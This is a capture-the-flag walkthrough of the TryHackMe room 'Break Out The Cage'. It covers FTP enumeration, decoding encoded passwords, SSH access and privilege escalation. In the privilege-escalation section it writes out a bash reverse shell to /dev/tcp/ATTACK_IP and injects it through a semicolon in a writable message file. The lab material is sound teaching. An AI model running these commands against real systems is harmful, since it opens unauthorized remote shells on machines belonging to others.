# Complete Guide: Break Out The Cage TryHackMe Room Walkthrough --- **LINK:** [**https://tryhackme.com/room/breakoutthecage1**](https://tryhackme.com/room/breakoutthecage1) --- ## RECON/SCANNING So First We Will Run Nmap/NmapAutomator to scan the target for open ports. ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1755226890479/b72486a8-4904-4d99-a30b-d803d0980fa6.png align="center") So Here we can see three ports are open lets checkout each port one by one: * As you can see Anonymous login is allowed in FTP So lets proceed with that. ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1755226986083/c678fdd2-a934-4419-8900-abafdc6660df.png align="center") So from FTP anonymous login we can see a file name **dad\_tasks** so we will transfer it to our local machine by using get command Now there is a HTTP web page at port 80 lets check out : ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1755227208579/c2c4e9e8-dcaf-4d54-92bf-3828ff594056.png align="center") So I searched the Website but couldn’t find anything useful so lets move on to the file we transferred to our local machine. ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1755227274723/4dcfb5da-d943-4c9c-8dea-2cdc402cb43d.png align="center") As you can see the file was ASCII text format so we see its contents using **cat** command and we can see a **base64** encoded string so lets decode it : ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1755227582555/eca1d5bd-889a-48f9-aeff-6472d77c4bfb.png align="center") So on Decoding Base64 string we get another encoded message so lets check it out by searching which type of encoded ciphertext it is in **ciphertext analyzer** in [**dcode.fr**](https://www.dcode.fr/cipher-identifier) **website.** ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1755227652472/da36191b-07f5-4ee1-aaa3-cd50df166394.png align="center") So as you can see It identified it as **Vigenère Cipher** so lets decode this ciphertext : ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1755227928731/71f86342-f1c6-4076-9eba-c60f9d5e8ec9.png align="center") On decoding the ciphertext we got the **password for Weston** which is the 1st question. Since we saw that port 22 for SSH is opened why don’t we try to login as **Weston** through --- ## SSH LOGIN do **ssh weston@ip** and **enter the password when prompted.** ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1755228083276/c5115f22-0ecd-4009-bc46-62d3a5a99126.png align="center") BOOM !!💥 We logged in as Weston through SSH. Now Lets enumerate and look for flags and important things, So first I did *sudo -l* to check if a file has sudo permission or not ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1755228548641/0af92ee6-a485-47e4-9299-3348f6b7a57b.png align="center") As a result we can see there is a file named *bees* in **/usr/bin/bees** which has sudo permission but suddenly a message appeared which was indicating towards a user **cage** So I searched files owned by this user using *find / -type f -user cage 2>/dev/null* ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1755228809196/4ab78b01-b941-44bc-b547-f87edecc1bf0.png align="left") So as a result i got two files in /opt/….. directory so lets cat out their contents one by one ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1755230029859/a5d3f0a1-b4c4-4f21-9eb8-209e0040b195.png align="center") Its content shows it opens another file in same directory so lets cat its content out ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1755230075011/01918469-ab1b-4566-aa87-91812b440c01.png align="center") Nice!! It has the list of messages that it is showing us time to time that means the above python file is opening this file and sending these messages to us Let’s check out the files permissions present in /.files directory ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1755230178645/7290d05f-7f78-4c29-9ccc-f39704196508.png align="center") As you can see the file has **group read-write** permission(rw) so when we checked with id command we can see that Weston is a member in the cage user group so Weston has those read-write rights So we can craft a reverse shell payload and overwrite the file with our payload . Since /tmp have permission to create files in it we will create our payload there by using these commands : ```apache echo '#!/bin/bash' > /tmp/shell.sh echo 'bash -i >& /dev/tcp/ATTACK_IP/4444 0>&1' >> /tmp/shell.sh chmod +x /tmp/shell.sh ``` #dont forget to change the ATTACK\_IP with your own local machine IP ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1755230415546/6a2ad73e-db00-46f6-917b-ebab4ed600b5.png align="center") Now setup a listener in your local machine ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1755230826289/08c22437-3cd5-4860-93ae-136ee5b2c609.png align="left") Now trigger the payload to get a reverse shell in your local machine using this command : ```apache printf 'Hello;/tmp/shell.sh\n' > /opt/.dads_scripts/.files/filename ``` ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1755230877815/3c85d313-12d3-4efb-a627-0f2bad0531e0.png align="center") Now wait till you get the above Hello message and then go to your listener and you will see you got a shell as user **cage** ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1755231776450/c5a12292-3ff1-4643-a31b-4f43d028d39f.png align="center") --- ## Getting User Flag Now First Stabilize this shell from the commands present in the below link [How to stabilize a simple reverse shell to a fully interactive terminal](https://maxat-akbanov.com/how-to-stabilize-a-simple-reverse-shell-to-a-fully-interactive-terminal) Now Once we stabilize the shell lets look out for user flag so on listing the files of the current directory which is */home/cage* we got **email\_backup** and **Super\_Duper\_Checklist** which contain our user flag . ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1755231979046/91da5610-4867-4dee-8cd0-03fd23b5762e.png align="center") --- ## Getting Root Flag So once we got the user flag lets check out the another directory called email\_backup and in that we got a file named as email\_3 and its content has password for root user but it was encoded and this time we also got a bold text **‘FACE‘** which is strongly indicating as a key to crack that encoded ciphertext ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1755232148587/f953805f-d126-4cdf-91ef-4310183a97d0.png align="center") So yet once again i went to [**Vigenere decoder**](https://www.dcode.fr/vigenere-cipher) in dcode.fr website and you can either ### Brute force It With Automatic Decryption ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1755232408437/77df6af0-92a9-4d57-b588-7ef55852bb6e.png align="center") ### or you can use the key FACE to directly get the password ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1755232475725/9bf50eb6-3587-4162-892b-68ea48202c0d.png align="center") So We got the root user password so lets **su root** and get the root flag by going to the root directory , listing out the files and getting the content of **email\_2** file and you will get the root flag which is the 3rd question answer ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1755232538181/86649b54-3c6c-49ac-a76e-8f9bbc138907.png align="center") ## WE FINALLY DID IT !!!! CHALLENGE SOLVED !! ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1755232704220/de1ae59c-44d9-4ecd-b160-c20b99a849a2.png align="center") For Any Query Or Problem Either Leave A Comment Or Contact At [**reapsec.com**](https://reapsec.com/) **THANKS FOR READING**